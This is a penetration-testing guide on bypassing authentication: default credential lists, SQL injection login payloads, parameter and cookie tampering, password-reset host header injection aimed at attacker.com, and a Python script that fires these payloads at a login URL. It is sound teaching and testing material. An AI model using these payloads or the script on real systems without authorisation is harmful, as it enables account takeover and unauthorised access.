Last reviewed 9 min read

Authentication Bypass

Authentication bypass allows attackers to gain access without valid credentials. This includes exploiting logic flaws, default credentials, session vulnerabilities, and implementation weaknesses in authentication mechanisms.

Warning

Authentication bypass testing should be carefully scoped. Document all attempts and avoid account lockouts that could affect legitimate users.

Frameworks: WSTG-ATHN-04, WSTG-ATHZ-02 · ASVS 5.0 V6.3.2, V8.2.1 · CWE-287 · T1078

Authentication bypass decision flow

Test default credentials first, then work SQLi and logic-flaw login bypasses into session and token attacks, branching to password reset, OAuth/SAML, and 2FA/MFA when the login path is blocked.

Tools & Resources

jwt_tool

JWT attack toolkit

git clone https://github.com/ticarpi/jwt_tool && pip install -r jwt_tool/requirements.txt GitHub →

Hydra

Credential brute forcing

apt install hydra GitHub →

Burp Intruder

Parameter fuzzing & brute force

Burp Suite

Default Credentials

Always test default credentials first - many systems ship with unchanged defaults.

Common Default Credentials

default-credentials.txt
# Web Applications
admin:admin
admin:password
admin:123456
administrator:administrator
root:root
root:toor
user:user
test:test
guest:guest

# Network Devices
admin:admin (most routers)
cisco:cisco
enable:enable

# Databases
sa: (blank) - SQL Server
root: (blank) - MySQL
postgres:postgres
mongodb: (no auth)

# CMS Systems
admin:admin (WordPress, Joomla)
administrator:admin (Drupal)

# Management Interfaces
admin:admin (Jenkins)
admin:password (Grafana)
elastic:changeme (Elasticsearch)
kibana:changeme (Kibana)

Default Credential Resources

default-credential-resources.sh
# Online databases
https://cirt.net/passwords
https://default-password.info/
https://datarecovery.com/rd/default-passwords/

# SecLists default passwords
/usr/share/seclists/Passwords/Default-Credentials/

# Hydra with default creds
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://target

SQL Injection Auth Bypass

Auth-bypass SQLi collapses a login check into a tautology. In the username field, admin'-- comments out the password comparison and ' OR '1'='1 makes the WHERE clause match the first row; the exact comment/terminator depends on the DBMS (-- - for MySQL, -- for PostgreSQL/Oracle/MSSQL, and stacked ; queries for RCE on MSSQL). This is the same injection primitive the canonical guide develops in full.

Canonical guide: SQL Injection — detection, DBMS fingerprinting, UNION/error/blind extraction, and WAF bypass.

Logic Flaw Bypasses

Parameter Manipulation

parameter-manipulation.txt
# Remove password parameter entirely
POST /login
username=admin

# Empty password
username=admin&password=

# Null byte injection
username=admin%00&password=anything

# Array instead of string
username=admin&password[]=

# Type juggling (PHP)
password=0 (may match against hash starting with 0e)

# Boolean manipulation
authenticated=true
isAdmin=1
role=admin

Response Manipulation

response-manipulation.txt
# Intercept response and modify
Original: {"success": false, "error": "Invalid password"}
Modified: {"success": true, "error": ""}

# Change HTTP status code
Original: HTTP/1.1 401 Unauthorized
Modified: HTTP/1.1 200 OK

# Modify redirect
Original: Location: /login?error=invalid
Modified: Location: /dashboard

Forced Browsing

forced-browsing.txt
# Try accessing protected pages directly
/admin
/dashboard
/admin/users
/api/admin/users
/internal/config

# Access functions without auth
/api/users/1/delete
/api/admin/settings
/export?format=csv

# Backup/hidden files
/backup/database.sql
/admin.bak
/login.php.bak
/.git/config

Session-Based Attacks

Session Token Manipulation

session-token-manipulation.txt
# Predictable session IDs
Session1: SESS0001
Session2: SESS0002
Try: SESS0000 (admin?)

# Weak session generation
# Base64 encoded user data
eyJ1c2VyIjogImd1ZXN0In0= → {"user": "guest"}
# Modify and re-encode
eyJ1c2VyIjogImFkbWluIn0= → {"user": "admin"}

# MD5 of username
Session: 21232f297a57a5a743894a0e4a801fc3 (md5("admin"))
Try: session of other usernames

# Sequential IDs
session_id=12345 → try 12344, 12346, etc.

JWT Token Attacks

JWTs are covered in full on the canonical page: alg:none and RS256→HS256 algorithm confusion, weak-secret cracking, and kid/jku header injection, all exercised with jwt_tool. Session cookie manipulation (below) remains the auth-bypass-specific angle.

Canonical guide: JWT Attacks.

Cookie Manipulation

cookie-manipulation.txt
# Base64 encoded cookies
Cookie: user=Z3Vlc3Q= (guest)
Modify: user=YWRtaW4= (admin)

# Serialized objects (PHP)
Cookie: user=O:4:"User":1:{s:4:"name";s:5:"guest";}
Modify: O:4:"User":1:{s:4:"name";s:5:"admin";}

# Simple value cookies
Cookie: role=user → role=admin
Cookie: authenticated=0 → authenticated=1
Cookie: admin=false → admin=true

# URL encoded
Cookie: user=%67%75%65%73%74 (guest)
Modify: %61%64%6d%69%6e (admin)

Password Reset Flaws

Token Manipulation

reset-token-manipulation.txt
# Predictable reset tokens
/reset?token=1234 → try 1233, 1235
/reset?token=user123 → try admin123

# Token in response
Request reset for attacker → capture token format
Request reset for victim → guess/enumerate token

# Expired token reuse
Save old reset link, may still work

# Token leakage
Check Referer header when clicking reset link
Check URL parameters in analytics

Host Header Injection

reset-host-header.http
# Inject attacker domain in Host header
POST /forgot-password HTTP/1.1
Host: attacker.com
...
email=victim@example.com

# Reset link sent to victim contains attacker.com
# Victim clicks → token sent to attacker

# X-Forwarded-Host variation
POST /forgot-password HTTP/1.1
Host: legitimate.com
X-Forwarded-Host: attacker.com
...

Parameter Pollution

email-parameter-pollution.txt
# Add second email parameter
email=victim@example.com&email=attacker@example.com

# Array injection
email[]=victim@example.com&email[]=attacker@example.com

# CC/BCC injection
email=victim@example.com%0aCc:attacker@example.com
email=victim@example.com%0aBcc:attacker@example.com

OAuth/SSO Bypasses

OAuth Misconfigurations

OAuth auth bypass usually comes down to a redirect_uri that can be pointed off-site (open redirect, path traversal, @/subdomain parser tricks), a missing or predictable state parameter enabling CSRF, or scope inflation. The full attack set — including PKCE bypass and token-leak primitives — is developed on the canonical page.

Canonical guide: OAuth/OIDC Attacks.

SAML Attacks

SAML assertions are bypassed by stripping or wrapping the XML signature (XSW), injecting an unsigned assertion carrying admin claims, or abusing XML comment handling in NameID. Worked signature-wrapping payloads, XXE-in-SAML, and replay caveats live on the canonical page.

Canonical guide: SAML / SSO Attacks.

2FA/MFA Bypasses

MFA is most often bypassed by skipping the challenge (intercept the post-login redirect and jump straight to the dashboard), replaying a code, manipulating the JSON success response, or brute-forcing when no rate limit exists. Real-time adversary-in-the-middle phishing (evilginx2), push-fatigue, and backup-code attacks are documented on the canonical page.

Canonical guide: MFA Bypass Techniques.

Automation Scripts

Python - Auth Bypass Tester

auth_bypass_tester.py
#!/usr/bin/env python3
"""
Authentication Bypass Tester
Tests common auth bypass techniques
"""
import requests
import sys
from urllib.parse import urljoin

# SQLi bypass payloads
SQLI_PAYLOADS = [
    ("admin'--", "anything"),
    ("admin'#", "anything"),
    ("' OR '1'='1'--", "' OR '1'='1'--"),
    ("' OR 1=1--", "anything"),
    ("admin') OR ('1'='1", "anything"),
    ("admin'/*", "anything"),
]

# Logic bypass payloads
LOGIC_PAYLOADS = [
    {"username": "admin", "password": ""},
    {"username": "admin"},  # Missing password
    {"username": "admin", "password[]": ""},
    {"username": "admin", "password": "0"},  # Type juggling
]

def test_sqli_bypass(url, username_field="username", password_field="password"):
    """Test SQL injection auth bypass"""
    print("[*] Testing SQLi auth bypass...")
    
    for user, passwd in SQLI_PAYLOADS:
        try:
            response = requests.post(
                url,
                data={username_field: user, password_field: passwd},
                allow_redirects=False,
                timeout=10
            )
            
            # Check for successful login indicators
            if response.status_code in [302, 303]:
                location = response.headers.get('Location', '')
                if 'dashboard' in location or 'admin' in location or 'home' in location:
                    print(f"[+] BYPASS SUCCESSFUL! User: {user}")
                    return True
            
            if 'logout' in response.text.lower() or 'welcome' in response.text.lower():
                print(f"[+] BYPASS SUCCESSFUL! User: {user}")
                return True
                
        except Exception as e:
            continue
    
    return False

def test_logic_bypass(url):
    """Test logic flaw auth bypass"""
    print("[*] Testing logic flaw bypass...")
    
    for payload in LOGIC_PAYLOADS:
        try:
            response = requests.post(url, data=payload, allow_redirects=False, timeout=10)
            
            if response.status_code in [302, 303]:
                location = response.headers.get('Location', '')
                if 'login' not in location and 'error' not in location:
                    print(f"[+] LOGIC BYPASS! Payload: {payload}")
                    return True
        except:
            continue
    
    return False

def test_forced_browsing(base_url):
    """Test direct access to protected pages"""
    print("[*] Testing forced browsing...")
    
    protected_paths = [
        '/admin', '/dashboard', '/admin/users', '/api/admin',
        '/internal', '/manager', '/console', '/admin.php',
        '/wp-admin', '/administrator'
    ]
    
    found = []
    for path in protected_paths:
        try:
            url = urljoin(base_url, path)
            response = requests.get(url, allow_redirects=False, timeout=5)
            
            if response.status_code == 200:
                print(f"[+] Accessible without auth: {url}")
                found.append(url)
            elif response.status_code in [403, 401]:
                print(f"[*] Protected: {url}")
        except:
            continue
    
    return found

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <login_url>")
        print(f"Example: {sys.argv[0]} http://target.com/login")
        sys.exit(1)
    
    login_url = sys.argv[1]
    base_url = '/'.join(login_url.split('/')[:3])
    
    print(f"[*] Testing authentication bypass on {login_url}")
    print("=" * 50)
    
    test_sqli_bypass(login_url)
    test_logic_bypass(login_url)
    test_forced_browsing(base_url)

JWT Decoder/Encoder

Decoding, tampering with, and re-signing JWTs — including the none algorithm and algorithm confusion — is handled by jwt_tool. The token primitives and worked examples are on the canonical JWT Attacks guide.

Practice Labs

External Resources

Evidence Collection

Bypass Proof: Request/response showing access to authenticated functionality without valid credentials (forced browsing, parameter manipulation, verb tampering)

Privilege Escalation: Request as low-privilege user accessing admin-only functionality — show both the user's role and the admin action performed

Default Credentials: Successful login with vendor default credentials — document the product, default username/password combination, and what access was gained

Token Manipulation: Modified JWT, cookie, or session token and the resulting unauthorized access — show the original vs. modified token

CVSS Range: Default credentials: 7.5–9.1 | Horizontal privilege escalation: 6.5–8.0 | Vertical to admin: 8.8–9.8 (Critical)

False Positive Identification

  • Cached pages: Getting a 200 response on an admin URL may be a cached page or generic error page — check if the response contains actual authenticated content, not just the page shell.
  • API returns data but no action: Reading user data may be acceptable for certain roles — verify whether the access level is truly unauthorized by understanding the permission model.
  • Frontend-only restrictions: Disabled buttons or hidden menus are cosmetic — always test the API directly. If the backend rejects the request, it's not a bypass.
  • Multi-tenant isolation: Accessing data from a different tenant is a high-severity finding, but accessing your own data via alternative paths is typically benign — confirm the data belongs to a different user.

Authentication Bypass Practice

Attack login, reset, and session logic on labs built around those flaws.

PortSwigger — Authentication Labs PortSwigger medium
Logic flawsBrute-force protection bypassPassword reset abuse